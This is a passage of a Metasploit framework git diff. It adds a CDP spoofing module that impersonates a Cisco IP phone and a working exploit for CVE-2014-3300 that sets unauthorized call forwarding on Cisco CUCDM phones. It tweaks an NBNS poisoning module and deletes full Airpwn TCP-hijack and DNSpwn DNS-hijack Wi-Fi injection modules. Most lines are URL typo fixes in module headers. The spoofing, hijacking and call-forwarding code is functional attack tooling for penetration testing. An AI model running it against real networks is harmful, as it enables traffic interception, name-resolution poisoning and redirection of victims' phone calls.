OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]), + OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]), + OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true]) + ], self.class) + + deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT') + end + + def setup + check_pcaprub_loaded + unless smac + fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC" + end + open_pcap + close_pcap + end + + def interface + @interface ||= datastore['INTERFACE'] || Pcap.lookupdev + end + + def smac + @smac ||= datastore['SMAC'] || get_mac(interface) + end + + def run + begin + open_pcap + + @run = true + cdp_packet = build_cdp + print_status("Sending CDP messages on #{interface}") + while @run + capture.inject(cdp_packet) + Rex.sleep(60) + end + ensure + close_pcap + end + end + + def build_cdp + cdp = '' + # CDP version + cdp << "\x02" + # TTL (180s) + cdp << "\xB4" + # checksum, empty for now + cdp << "\x00\x00" + # device ID + cdp << tlv(1, datastore['DEVICE_ID']) + # port ID + cdp << tlv(3, datastore['PORT']) + # TODO: implement this correctly + # capabilities = datastore['CAPABILITIES'] || "Host" + # CAPABILITIES + # define CDP_CAP_LEVEL1 0x40 + # define CDP_CAP_FORWARD_IGMP 0x20 + # define CDP_CAP_NETWORK_LAYER 0x10 + # define CDP_CAP_LEVEL2_SWITCH 0x08 + # define CDP_CAP_LEVEL2_SRB 0x04 + # define CDP_CAP_LEVEL2_TRBR 0x02 + # define CDP_CAP_LEVEL3_ROUTER 0x01 + cdp << tlv(4, "\x00\x00\x00\x41") + # software version + cdp << tlv(5, datastore['SOFTWARE']) + # platform + cdp << tlv(6, datastore['PLATFORM']) + # VTP management domain + cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN'] + # random 1000-7000 power consumption in mW + cdp << tlv(0x10, [1000 + rand(6000)].pack('n')) + # duplex + cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00") + # VLAn query. TODO: figure out this field, use tlv, make configurable + cdp << "\x00\x0F\x00\b \x02\x00\x01" + + # compute and replace the checksum + cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n') + + # Build and return the final packet, which is 802.3 + LLC + CDP. + # 802.3 + PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") + + PacketFu::EthHeader.mac2str(smac) + + [cdp.length + 8].pack('n') + + # LLC + "\xAA\xAA\x03\x00\x00\x0c\x20\x00" + + # CDP + cdp + end + + def tlv(t, v) + [ t, v.length + 4 ].pack("nn") + v + end + + def compute_cdp_checksum(cdp) + num_shorts = cdp.length / 2 + checksum = 0 + remaining = cdp.length + + cdp.unpack("S#{num_shorts}").each do |short| + checksum += short + remaining -= 2 + end + + checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1 + checksum = (checksum >> 16) + (checksum & 0xffff) + checksum = ~((checksum >> 16) + checksum) & 0xffff + ([checksum].pack("S*")).unpack("n*")[0] + end +end diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 2b6de28697..1dc7c4f231 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'PCAPFILE') end + def setup + super + unless datastore['SMAC'] || datastore['INTERFACE'] + raise ArgumentError, 'Must specify SMAC or INTERFACE' + end + end + def build_dtp_frame p = PacketFu::EthPacket.new p.eth_daddr = '01:00:0c:cc:cc:cc' diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 3b5f36b44b..252269ec00 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index 6ca8d1304d..e6b76e176e 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 446f23578f..6b881e849e 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary name = name.to_s anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '') - case anst - when 'NS' + case data + when Resolv::DNS::Resource::IN::NS data = data.name.to_s - when 'MX' + when Resolv::DNS::Resource::IN::MX data = data.exchange.to_s - when 'A' + when Resolv::DNS::Resource::IN::A data = data.address.to_s - when 'TXT' + when Resolv::DNS::Resource::IN::TXT data = data.strings.join - when 'CNAME' + when Resolv::DNS::Resource::IN::CNAME data = data.name.to_s else data = anst diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 7da8178408..4a7123fd56 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 71aa3ca118..0916ac71dd 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]), - OptString.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']), + OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']), ]) register_advanced_options([ @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. packet, addr = @sock.recvfrom(512) + src_port = addr[1] rhost = addr[3] break if packet.length == 0 @@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary p.ip_daddr = rhost p.ip_ttl = 255 p.udp_sport = 137 - p.udp_dport = 137 + p.udp_dport = src_port p.payload = response p.recalc diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index 44d73bf2a7..e762123863 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]), ], self.class) - deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','UDP_SECRET','GATEWAY','NETMASK') + deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end def run diff --git a/modules/auxiliary/spoof/wifi/airpwn.rb b/modules/auxiliary/spoof/wifi/airpwn.rb deleted file mode 100644 index 6d18979193..0000000000 --- a/modules/auxiliary/spoof/wifi/airpwn.rb +++ /dev/null @@ -1,194 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'yaml' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Capture - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'Airpwn TCP Hijack', - 'Description' => %q{ - TCP streams are 'protected' only in so much as the sequence - number is not guessable. - - Wifi is shared media. - - Got your nose. - - Responses which do not begin with Header: Value assumed to be - HTML only and will have Header:Value data prepended. Responses - which do not include a Content-Length header will have one generated. - }, - 'Author' => ['toast', 'dragorn', 'ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Airpwn' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Airpwn' - ) - - register_options( - [ - OptPath.new('SITELIST', [ false, "YAML file of URL/Replacement pairs for GET replacement", - File.join(Msf::Config.data_directory, "exploits", "wifi", "airpwn", "sitelist.yml") - ]), - OptBool.new('USESITEFILE', [ true, "Use site list file for match/response", "false"]), - OptString.new('FILTER', [ true, "Default BPF filter", "port 80"]), - OptString.new('MATCH', [ true, "Default request match", "GET ([^ ?]+) HTTP" ]), - OptString.new('RESPONSE', [ true, "Default response", "Airpwn" ]), - ], self.class) - end - - def run - - @sitelist = datastore['SITELIST'] - @regex = datastore['MATCH'] - @response = datastore['RESPONSE'] - @filter = datastore['FILTER'] - @useyaml = datastore['USESITEFILE'] - - @http = [] - - if @useyaml then - begin - @http = YAML::load_file(@sitelist) - - rescue ::Exception => e - print_error "AIRPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}" - end - else - @http[0] = { "regex" => [@regex], "response" => @response } - end - - @run = true - - print_status "AIRPWN: Parsing responses and defining headers" - - # Prep the responses - @http.each do |r| - if not r["response"] then - if not r["file"] then - print_error "AIRPWN: Missing 'response' or 'file' in yaml config" - r["txresponse"] = "" - else - r["txresponse"] = "" - begin - File.open(r["file"], "rb") do |io| - r["txresponse"] += io.read(4096) - end - rescue EOFError - rescue ::Exception => e - print_error("AIRPWN: failed to parse response file " + - "#{r['file']}, #{e.class} #{e} #{e.backtrace}") - end - end - else - if r["file"] then - print_error "AIRPWN: Both 'response' and 'file' in yaml config, " + - "defaulting to 'response'" - end - - r["txresponse"] = r["response"] - end - - # If we have headers - if r["txresponse"].scan(/[^:?]+: .+\n/m).size > 0 - # But not a content-length - if r["txresponse"].scan(/^Content-Length: /).size == 0 - # Figure out the length and add it - loc = (/\n\n/m =~ r["txresponse"]) - if loc == nil - print_status "AIRPWN: Response packet looks like HTTP headers but can't find end of headers. Will inject as-is." - else - print_status "AIRPWN: Response packet looks like HTTP headers but has no Content-Length, adding one." - r["txresponse"].insert(loc, "\r\nContent-Length: " + (r["response"].length - loc).to_s) - end - end - else - # We have no headers, generate a response - print_status "AIRPWN: Response packet has no HTTP headers, creating some." - r["txresponse"].insert(0, "HTTP/1.1 200 OK\r\nDate: %s\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: %d\r\n\r\n" % [Time.now, @response.size]) - end - end - - print_status "Opening wifi module." - open_wifi - - self.wifi.filter = @filter if (@filter != "") - each_packet do |pkt| - - d3 = pkt.dot3 - - next if not d3 - p = PacketFu::Packet.parse(d3) rescue nil - next unless p.is_tcp? - - @http.each do |r| - hit = nil - r['regex'].each do |reg| - hit = p.payload.scan(/#{reg}/) || nil - break if hit.size != 0 - end - next if hit.size.zero? - - print_status("AIRPWN: %s -> %s HTTP GET [%s] TCP SEQ %u" % [p.ip_saddr, p.ip_daddr, $1, p.tcp_seq]) - - injpkt = Lorcon::Packet.new() - injpkt.bssid = pkt.bssid - - response_pkt = PacketFu::TCPPacket.new - response_pkt.eth_daddr = p.eth_saddr - response_pkt.eth_saddr = p.eth_daddr - response_pkt.ip_saddr = p.ip_daddr - response_pkt.ip_daddr = p.ip_saddr - response_pkt.ip_ttl = p.ip_ttl - response_pkt.tcp_sport = p.tcp_dport - response_pkt.tcp_dport = p.tcp_sport - response_pkt.tcp_win = p.tcp_win - response_pkt.tcp_seq = p.tcp_ack - response_pkt.tcp_ack = (p.tcp_seq + p.ip_header.body.to_s.size - (p.tcp_hlen * 4)) & 0xffffffff - response_pkt.tcp_flags.ack = 1 - response_pkt.tcp_flags.psh = 1 - response_pkt.payload = r["txresponse"] - response_pkt.recalc - injpkt.dot3 = response_pkt.to_s - - case pkt.direction - when ::Lorcon::Packet::LORCON_FROM_DS - injpkt.direction = Lorcon::Packet::LORCON_TO_DS - when ::Lorcon::Packet::LORCON_TO_DS - injpkt.direction = Lorcon::Packet::LORCON_FROM_DS - else - injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS - end - - self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error) - - response_pkt.tcp_seq = response_pkt.tcp_seq + response_pkt.payload.size - response_pkt.tcp_flags.ack = 1 - response_pkt.tcp_flags.psh = 0 - response_pkt.tcp_flags.fin = 1 - response_pkt.payload = 0 - response_pkt.recalc - - injpkt.dot3 = response_pkt.to_s - self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error) - end - end - - end - -end diff --git a/modules/auxiliary/spoof/wifi/dnspwn.rb b/modules/auxiliary/spoof/wifi/dnspwn.rb deleted file mode 100644 index e0699f90c1..0000000000 --- a/modules/auxiliary/spoof/wifi/dnspwn.rb +++ /dev/null @@ -1,120 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'yaml' -require 'net/dns/packet' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Capture - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'DNSpwn DNS Hijack', - 'Description' => %q{ - Race DNS responses and replace DNS queries - }, - 'Author' => ['dragorn'], - 'License' => MSF_LICENSE - ) - - register_options( - [ - OptPath.new('DNSLIST', [ false, "YAML file of DNS entries for replacement", - File.join(Msf::Config.data_directory, "exploits", "wifi", "dnspwn", "dnslist.yml") - ]), - OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]), - OptString.new('FILTER', [ true, "Default BPF filter", "port 53"]), - OptString.new('IP', [ true, "IP for host resolution", "1.2.3.4" ]), - OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]), - OptString.new('MATCH', [ true, "Match for DNS name replacement", "(.*)"]), - ], self.class) - end - - def run - - @dnslist = datastore['DNSLIST'] - @regex = datastore['MATCH'] - @response = datastore['IP'] - @filter = datastore['FILTER'] - @duration = datastore['DURATION'] - @useyaml = datastore['USEDNSFILE'] - - @dns = [] - - if @useyaml - begin - @dns = YAML::load_file(@dnslist) - rescue ::Exception => e - print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}" - end - else - @dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration } - end - - @run = true - - open_wifi - - self.wifi.filter = @filter if not @filter.empty? - each_packet do |pkt| - d3 = pkt.dot3 - - next if not d3 - p = PacketFu::Packet.parse(d3) rescue nil - next unless p.is_udp? - - dns = Net::DNS::Packet::parse(p.payload) rescue nil - next unless dns - - next if dns.answer.size != 0 - next if dns.question.size == 0 - - @dns.each do |r| - hit = nil - r['regex'].each do |reg| - hit = dns.question[0].qName.scan(/#{reg}/) || nil - break if hit.size != 0 - end - next if hit.size.zero? - - print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [p.ip_saddr, p.ip_daddr, dns.header.id, r["response"] ]) - - injpkt = Lorcon::Packet.new() - injpkt.bssid = pkt.bssid - - response_pkt = PacketFu::UDPPacket.new - response_pkt.eth_daddr = p.eth_saddr - response_pkt.eth_saddr = p.eth_daddr - response_pkt.ip_saddr = p.ip_daddr - response_pkt.ip_daddr = p.ip_saddr - response_pkt.ip_ttl = p.ip_ttl - response_pkt.udp_sport = p.udp_dport - response_pkt.udp_dport = p.udp_sport - - dns.header.qr = 1 - dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"]) - - response_pkt.payload = dns.data - response_pkt.recalc - - injpkt.dot3 = response_pkt.to_s - - if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS) - injpkt.direction = Lorcon::Packet::LORCON_TO_DS - elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS) - injpkt.direction = Lorcon::Packet::LORCON_FROM_DS - else - injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS - end - - self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error) - end - end - end -end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 9c16d7707e..c3b8fc60cd 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 63bdd8b76e..86bf54e60d 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index 202befbdb4..ec27e9811d 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index e5616de2fa..7b91469936 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index 5216cb7929..c0022ed351 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index 6ed8fa565b..f4fb58a5de 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index 3906ffe09b..d7d10f96fc 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index e70df852be..d37f8afa39 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index 1ce44bfc12..e6a178033c 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index 0e35b2d3d7..e26375ae12 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index 36b3451950..e3df57ecb9 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index fa48c826db..4ecfd3accb 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index 72e727a771..98f0146f9e 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 1599496dd1..612a13096d 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 5d08084d13..70cdbb48b4 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index d95428a42a..df6c3edd5f 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index 91ae115d03..d97591d2da 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 10c985db9e..1b77779fba 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb new file mode 100644 index 0000000000..b3de7313ce --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM) 10 does not properly implement access control, which allows remote attackers to + modify user information. This module exploits the vulnerability to configure unauthorized + call forwarding. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ], + [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ] + ], + 'DefaultAction' => 'Info' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']), + OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines']) + ], self.class) + end + + def run + case action.name.upcase + when 'INFO' + get_info + when 'FORWARD' + forward_calls + end + end + + def get_info + uri = normalize_uri(target_uri.to_s) + mac = datastore["MAC"] + + print_status("#{peer} - Getting fintnumbers and display names of the IP phone") + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}" + } + }) + + unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/ + print_error("#{peer} - Target appears not vulnerable!") + print_status("#{res}") + return [] + end + + doc = REXML::Document.new(res.body) + lines = [] + fint_numbers = [] + + list = doc.root.get_elements('MenuItem') + + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| lines << "#{l[0]}"} + xlist = lst.get_elements('URL') + xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" } + end + + lines.size.times do |i| + print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}") + end + + fint_numbers + end + + def forward_calls + # for a specific FINTNUMBER redirection + uri = normalize_uri(target_uri.to_s) + forward_to = datastore["FORWARDTO"] + mac = datastore["MAC"] + + if datastore['FINTNUMBER'] + fint_numbers = [datastore['FINTNUMBER']] + else + fint_numbers = get_info + end + + if fint_numbers.empty? + print_error("#{peer} - FINTNUMBER required to forward calls") + return + end + + fint_numbers.each do |fintnumber| + + print_status("#{peer} - Sending call forward request for #{fintnumber}") + + send_request_cgi( + { + 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'cfoption' => 'CallForwardAll', + 'device' => "SEP#{mac}", + 'ProviderName' => 'NULL', + 'fintnumber' => "#{fintnumber}", + 'telno1' => "#{forward_to}" + } + }) + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}", + 'fintnumber' => "#{fintnumber}" + } + }) + + if res && res.body && res.body && res.body.to_s =~ /CFA/ + print_good("#{peer} - Call forwarded successfully for #{fintnumber}") + else + print_status("#{peer} - Call forward failed.") + end + end + end + +end diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb 